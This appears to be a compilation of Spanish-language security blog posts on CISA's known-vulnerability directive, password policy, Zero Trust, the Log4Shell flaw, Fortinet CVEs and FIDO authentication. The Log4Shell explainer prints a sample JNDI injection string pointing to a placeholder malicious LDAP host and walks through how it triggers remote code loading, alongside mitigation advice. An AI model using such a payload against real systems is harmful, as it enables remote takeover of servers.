Los últimos años se ha visto un número cada vez mayor de ataques cibernéticos, y aunque la frecuencia de tales ataques ha aumentado, también lo ha hecho el daño resultante. Uno solo necesita mirar La lista de incidentes cibernéticos significativos de CISA para apreciar la magnitud del problema.
En mayo de 2021, por ejemplo, un ataque de ransomware derribó el oleoducto colonial, causando una grave interrupción del combustible en gran parte de los Estados Unidos. El mes pasado, un grupo de hackers obtuvo acceso a registros de llamadas y mensajes de texto de operadores de telecomunicaciones de todo el mundo. Estos son solo dos de las docenas de ataques cibernéticos que ocurren este año.
Debido a estos y otros incidentes de seguridad cibernética, el Departamento de Seguridad Nacional de EEUU emitió una directiva obligatoria a las agencias federales para proteger mejor los sistemas de información federales y los datos que contienen contra el ciberataque. Esta directiva se basa en Catálogo de vulnerabilidades de CISA que se sabe que representan un riesgo significativo. La directiva requiere que las entidades cubiertas actualicen sus procedimientos de seguridad cibernética y aborden las vulnerabilidades conocidas dentro de un período de tiempo específico.
Preparaciones de fin de año para CISA El hecho de que el Gobierno Federal esté otorgando una prioridad tan alta a la seguridad cibernética es revelador, y vale la pena prestar atención a la directiva, incluso para las organizaciones del sector privado. Si las agencias federales apuntalan sus defensas cibernéticas de acuerdo con la nueva directiva, entonces al menos algunos ciberdelincuentes probablemente centrarán su atención en atacar objetivos del sector privado. Después de todo, es probable que algunas de las vulnerabilidades conocidas continúen existiendo en empresas privadas, incluso después de que esas vulnerabilidades se hayan abordado en sistemas pertenecientes al gobierno federal.
Al acercarse rápidamente el final del año, los profesionales de TI deberían poner la seguridad cibernética en la parte superior de sus resoluciones de Año Nuevo. Pero, ¿qué deberían hacer específicamente los profesionales de TI para prepararse para 2022??
CISA diferencia entre vulnerabilidades conocidas y vulnerabilidades que se sabe que han sido explotadas. Del mismo modo, los profesionales de TI en el sector privado deben centrar sus esfuerzos y sus recursos de seguridad en abordar las vulnerabilidades que se han explotado en el mundo real. Tales hazañas están bien documentadas y representan una gran amenaza para las organizaciones que no abordan tales vulnerabilidades.
Implemente parches de inmediato Lo más importante que las organizaciones pueden hacer para garantizar que aborden las vulnerabilidades de seguridad conocidas es aplicar parches de seguridad a medida que estén disponibles. Muchos parches de seguridad están diseñados específicamente para abordar vulnerabilidades conocidas, algunas de las cuales ya han sido explotadas. Por ejemplo, La actualización de Microsoft Exchange Server abordó la vulnerabilidad de ProxyShell a principios de este año. ProxyShell fue el nombre dado a una vulnerabilidad grave de Exchange Server que permitió la ejecución remota de código. Una vez que la vulnerabilidad se hizo pública, los atacantes comenzaron a buscar activamente servidores de Exchange no enviados, a menudo instalando ransomware en los servidores que se encontraban.
No lo olvides las vacaciones pueden aumentar el riesgo de ataque cibernético de su organización, por lo que aunque puede aparecer un parche en un momento inoportuno, es importante avanzar de inmediato ya que los hackers informáticos esperan fallas en su red de seguridad en esta época del año.
Por importante que sea la administración de parches, la instalación de los parches de seguridad disponibles es solo un ejemplo de los tipos de cosas que los profesionales de TI deben hacer para abordar las vulnerabilidades de seguridad conocidas.
Evite las contraseñas incumplidas en su red Otra contramedida que es casi tan importante pero ampliamente pasada por alto es la de evitar que los usuarios usen contraseñas que se sabe que han sido comprometidas.
Los hackers mantienen bases de datos web oscuras masivas de contraseñas que se han descifrado como parte de varias hazañas. La razón por la cual esto es un problema es porque los usuarios a menudo usan sus contraseñas de trabajo en varios sitios web para minimizar la cantidad de contraseñas que deben recordar. Si se ha descifrado una contraseña, significa que hay una tabla que coincide con esa contraseña con su hash. Esto hace posible que un atacante reconozca cuándo se ha usado esa contraseña en otro lugar. Es por eso que es tan importante evitar que los usuarios usen cualquier contraseña que se sepa que está comprometida.
Emplear políticas de contraseña. Existen bases de datos que contienen miles de millones de contraseñas comprometidas para asegurar que esas contraseñas no se utilicen en su red.
Cree políticas de contraseña basadas en los estándares establecidos por NIST, SANS y otros. El uso de estas plantillas facilita garantizar que las contraseñas utilizadas en toda su organización se adhieran a los mismos estándares NIST a los que se adhiere el gobierno federal.
Hoy comenzaremos a hablaremos de ZTNA(Zero Trust Network Access), que si bien habla de un modelo de seguridad de acceso a recursos, obviamente incluye la identificación de quien accede a dichos recursos. Por lo que, lo incluimos como parte íntegra de la identidad Digital.
Pero a que nos referimos cuando hablamos de ZTNA? Netskope, nos comenta sobre la definición del Modelo de Seguridad basado en confianza cero.
La definición de confianza cero es un modelo de seguridad basado en la premisa de que no se confía ciegamente en nadie ni se le permite acceder a los activos de la empresa hasta que se haya validado como legítimo y autorizado. Es compatible con la implementación del acceso con menos privilegios, que se designa para conceder acceso de manera selectiva única y exclusivamente a aquellos recursos que necesitan los usuarios o grupos de usuarios. Además, las personas que obtienen acceso a la red, a los datos y a otros recursos deben autenticar continuamente su identidad.
La adopción del modelo de confianza cero se ha acelerado en respuesta al rápido aumento de los trabajadores móviles y teletrabajadores, la tendencia de usar dispositivos personales (BYOD), el Shadow IT y el auge de los servicios en la nube. Mientras que estas tendencias beneficiaban a los usuarios e incorporaban nuevos niveles de flexibilidad a las tecnologías informáticas, también reducían la capacidad de la organización de controlar y proteger el acceso a los datos y los recursos de red. El modelo de confianza cero devuelve este control y endurece las medidas de seguridad ante el proceso de disolución del perímetro de la red.
Piense en su infraestructura de red y datos como si fuese un edificio lleno de habitaciones con puertas cerradas y cada cerradura con su propia llave individual, donde solo se permite a los usuarios el acceso a la habitación donde se encuentran los recursos que necesitan y nada más. Eso es la confianza cero en pocas palabras.
En las referencias, les dejo un enlace donde pueden ver un poco mas de historia, principios y hacia donde nos dirigimos con este modelo.
Log4Shell: vulnerabilidad crítica con exploit para #Log4j
Que es? El jueves (9 de diciembre), se descubrió un exploit de día 0 en la popular biblioteca de registro de Java log4j (versión 2) que da como resultado la ejecución remota de código (RCE) al registrar una determinada cadena
Dado lo ubicuo que es esta biblioteca, el impacto del exploit (control total del servidor) y lo fácil que es explotar, el impacto de esta vulnerabilidad es bastante grave. Lo llamamos “Log4Shell” para abreviar.
El exploit de día 0 se tuiteó junto con un POC publicado en GitHub. Ahora se ha publicado como CVE-2021-44228.
Esta publicación proporciona recursos para ayudarlo a comprender la vulnerabilidad y cómo mitigarla.
Publicado originalmente el 9 de diciembre y actualizado por última vez el 13 de diciembre a las 1:32 am PST
¿Quién se ve afectado? Muchos, muchos servicios son vulnerables a este exploit. Ya se ha descubierto que los servicios en la nube como Steam, Apple iCloud y aplicaciones como Minecraft son vulnerables.
Aquí se ha compilado una lista extensa de respuestas de las organizaciones afectadas.
Cualquiera que use Apache Struts probablemente sea vulnerable. Hemos visto vulnerabilidades similares explotadas antes en brechas como la filtración de datos de Equifax de 2017.
Muchos proyectos de código abierto como el servidor de Minecraft, Paper, ya han comenzado a parchear el uso de log4j2.
Se ha demostrado que simplemente cambiar el nombre de un iPhone desencadena la vulnerabilidad en los servidores de Apple.
Actualizaciones (3 horas después de la publicación): según esta publicación de blog, las versiones de JDK superiores a 6u211, 7u201, 8u191 y 11.0.1 no se ven afectadas por el vector de ataque LDAP. En estas versiones, com.sun.jndi.ldap.object.trustURLCodebase se establece en falso, lo que significa que JNDI no puede cargar código remoto utilizando LDAP.
Sin embargo, existen otros vectores de ataque dirigidos a esta vulnerabilidad que pueden resultar en RCE. Un atacante aún podría aprovechar el código existente en el servidor para ejecutar una carga útil. En esta publicación de blog se analiza un ataque dirigido a la clase org.apache.naming.factory.BeanFactory, presente en los servidores Apache Tomcat.
Mitigación permanente La versión 2.15.0 de Log4j corrige la vulnerabilidad (requiere Java 8). Para versiones antiguas se puede renombrar o eliminar el archivo JndiLookup.class
Mitigación temporal Hay una discusión en HackerNews sobre el tema para la versión 2.10.0. Para mitigar la vulnerabilidad en lugar de actualizar Log4j, el siguiente parámetro debe establecerse en true al iniciar la máquina virtual Java: log4j2.formatMsgNoLookups;
La empresa de ciberseguridad Cybereason lanzó un script o “vacuna” que aprovecha la vulnerabilidad para desactivar una configuración en una instancia remota y vulnerable de Log4Shell. Básicamente, la vacuna corrige la vulnerabilidad explotando el servidor vulnerable.
La herramienta llamada Logout4Shell cambia algunas propiedades del sistema log4j2.formatMsgNoLookups = true, elimina la clase JndiLookup del classpath y, si el servidor tiene Java> = 8u121, cambia la configuración com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase.
Cómo funciona el exploit Por ejemplo, una cadena de User-Agent que contenga el exploit podría pasarse a un sistema backend escrito en Java. Es por eso que es vital que todo el software basado en Java que use Log4j versión 2 esté parcheado o que se apliquen mitigaciones de inmediato. Incluso si el software orientado a Internet no está escrito en Java, es posible que las cadenas se pasen a otros sistemas que están en Java, lo que permite que suceda el exploit.
El atacante envía un parámetro manipulado al servidor (por HTTP u otro protocolo). Por ejemplo la siguiente cadena: ${jndi:ldap://sitio-malicioso.com/exp}
El servidor vulnerable recibe la solicitud con el payload.
La vulnerabilidad en Log4j permite que el payload se ejecute y el servidor realiza una petición al sitio del atacante. La petición se realiza a través del protocolo JNDI.
La respuesta desde el servidor del atacante contiene un archivo Java remoto (por ejemplo, un archivo exploit.class) que se inyecta en el proceso que está ejecutando el servidor vulnerable.
Se ejecuta código en el servidor vulnerable.
Aquí se puede ver un ejemplo de una aplicación vulnerable.
Se han reportado de tres vulnerabilidades en productos Fortinet, una de ellas consideradas como crítica. Según el reporte, la operación exitosa de las fallas permitiría la Ejecución Remota de Código (RCE).
A continuación se presentan breves descripciones de las fallas reportadas, además de los puntajes asignados según el Common Vulnerability Scoring System (CVSS).
CVE-2021-26109: un desbordamiento de enteros en la interfaz de FortiGate FortiOS SSL VPN permitiría a los actores de amenazas no autenticados enviar solicitudes HTTP especialmente diseñadas con el fin de ejecutar código arbitrario en el sistema afectado. Esta es una falla crítica y recibió un puntaje CVSS de 8.5/10 ya que su explotación exitosa permitiría el compromiso total de los sistemas expuestos. La falla reside en las siguientes versiones de FortiOS 6.0.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.6+, FortiOS 6.2.10+ o FortiOS 6.0.13+.
CVE-2021-26110: las restricciones de acceso incorrectas en el daemon autod de FortiOS y FortiProxy permitirían a los usuarios locales evadir las restricciones de seguridad en los sistemas afectados y realizar escalamiento de privilegios en los sistemas al nivel uper_admin. La vulnerabilidad recibió un puntaje CVSS de 7.7/10 y es considerada de baja severidad. Esta falla afecta a FortiOS 5.6.0 y superiores así como a FortiProxy 1.2.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.6+, FortiOS 6.2.10+ o FortiOS 6.0.13+. Actualizar a FortiProxy v2.0.2+ o FortiProxy version 1.2.10+.
CVE-2021-26103: una validación insuficiente del origen de la solicitud HTTP en la interfaz SSL VPN de FortiOS y FortiProxy permitiría a los actores de amenazas remotos redirigir a un usuario objetivo a un sitio web malicioso para realizar acciones arbitrarias en el sistema afectado. La falla recibió un puntaje CVSS de 5.3/10 y reside en las versiones 5.6.0 y superiores y en FortiProxy: 1.2.0 y superiores. Actualizar a FortiOS 7.0.1+, 6.4.7+, FortiOS 6.2.10+ o FortiOS 6.0.13+. Actualizar a FortiProxy v2.0.2+ o FortiProxy version 1.2.10+.
Si bien no se han detectado intentos de explotación activa, debemos recordar que estas fallas pueden ser explotadas por actores de amenazas remotos, por lo que lo más recomendable es instalar las actualizaciones disponibles lo antes posible.
Las últimas semanas hemos estado comentando acerca de los avances en la identidad digital y cómo esta afecta a los negocios, tanto en el acceso de los usuarios internos, como de sus clientes.
Hoy profundizaremos en un protocolo denominado FIDO – Fast Identity Online, que puede ayudar a acelerar el proceso de autenticación.
La autenticación de identidad rápida en línea (FIDO) es un conjunto de especificaciones técnicas abiertas que definen los mecanismos de autenticación del usuario que reducen la dependencia de las contraseñas. Hasta la fecha, la Alianza FIDO publicó tres conjuntos de especificaciones:
FIDO Universal Second Factor (FIDO U2F) proporciona un medio estándar para conectar un autenticador de hardware de segundo factor. Los navegadores web utilizan principalmente esta interfaz para permitir que las aplicaciones web interactúen con el autenticador de hardware de un usuario. Con el lanzamiento de FIDO2, U2F ha sido renombrado como CTAP1.
Los protocolos de cliente a autenticador (CTAP) permiten a los usuarios autenticarse en una aplicación web o nativa utilizando un autenticador incrustado en la computadora host o conectado a la computadora host. Similar a FIDO U2F, CTAP está diseñado para proporcionar una interfaz estandarizada a un autenticador de hardware.
FIDO Universal Authentication Framework (FIDO UAF) define un marco para que los usuarios registren su dispositivo (es decir,. portátil, escritorio, móvil) al servicio en línea y seleccione uno de los mecanismos de autenticación locales disponibles en el dispositivo para autenticar a su usuario. El servicio en línea puede seleccionar qué mecanismo de autenticación disponible localmente aceptará. Por ejemplo, los usuarios pueden registrar su dispositivo móvil y seleccionar su sensor de huellas digitales incorporado como el medio de autenticación local utilizado para autenticarlos en el servicio en línea. Otros mecanismos de autenticación comunes incluyen mirar la cámara, hablar por micrófono o ingresar un PIN. Una vez registrados y aceptados por el servicio en línea, los usuarios pueden autenticarse en el servicio en línea utilizando la acción de autenticación local registrada en lugar de usar las opciones de nombre de usuario y contraseña más tradicionales.
Los protocolos FIDO están diseñados desde cero para proteger la privacidad del usuario. Los protocolos no revelan datos confidenciales de usuarios que puedan ser utilizados por diferentes servicios en línea para colaborar y rastrear a un usuario en todos los servicios. Otros datos confidenciales como impresiones biométricas y PIN nunca abandonan el dispositivo del usuario para garantizar que un atacante no pueda interceptarlo o comprometerlo.
Para autenticar a un usuario, una aplicación, a menudo denominada parte de confianza, utiliza API del lado del cliente especificadas por FIDO para interactuar con el autenticador registrado de un usuario. Para las aplicaciones web, las API del lado del cliente incluyen WebAuthn implementado por el navegador web, que a su vez llama a FIDO CTAP para acceder al autenticador.
Para autenticar a un usuario, la parte que confía pasa un desafío criptográfico al autenticador registrado y evalúa la respuesta para determinar la autenticidad de los secretos almacenados en el dispositivo cliente y utilizados para producir la respuesta.
En si, FIDO utiliza criptografía asimétrica para garantizar que todos los secretos sensibles y el material clave criptográfico permanezcan en el dispositivo del cliente en todo momento y no se transmitan al servicio de autenticación.
¿Cómo funciona la autenticación FIDO?? La autenticación FIDO requiere un paso de registro inicial. En los casos en que el dispositivo de usuario admite múltiples formas de autenticación (p. Ej. escáner de huellas digitales, grabador de huellas dactilares, identificación facial, etc.), se le pide al usuario que elija un autenticador compatible con FIDO entre las opciones disponibles en el dispositivo que coincida con la política de aceptación de la aplicación de autenticación. Luego, el usuario desbloquea el autenticador FIDO utilizando cualquier mecanismo integrado en el autenticador, proporcionando una huella digital, presionando un botón en un dispositivo de segundo factor o ingresando PIN
Una vez que se desbloquea el autenticador, el dispositivo del usuario crea un nuevo y único par de claves criptográficas públicas / privadas que se utilizará para autenticar el acceso. La clave pública se envía al servicio en línea y se asocia con la cuenta del usuario. La clave privada y todos los demás datos confidenciales relacionados con el método de autenticación elegido, por ejemplo, impresiones biométricas, permanecen en el dispositivo local y nunca lo dejan.
La autenticación requiere que el dispositivo del cliente demuestre la posesión de la clave privada para el servicio de autenticación respondiendo con éxito a un desafío criptográfico. La clave privada solo se puede usar después de autenticarse con éxito utilizando el autenticador registrado, por ejemplo, deslizando un dedo sobre el sensor de huellas digitales, ingresando un PIN, hablando en un micrófono, insertando un segundo dispositivo de factor, presionando un botón, etc. Luego, el dispositivo utiliza el identificador de cuenta de usuario proporcionado por el servicio para seleccionar la clave correcta y firmar criptográficamente el desafío del servicio. El desafío firmado se envía de vuelta al servicio, que lo verifica con la clave pública almacenada y los registros en el usuario.
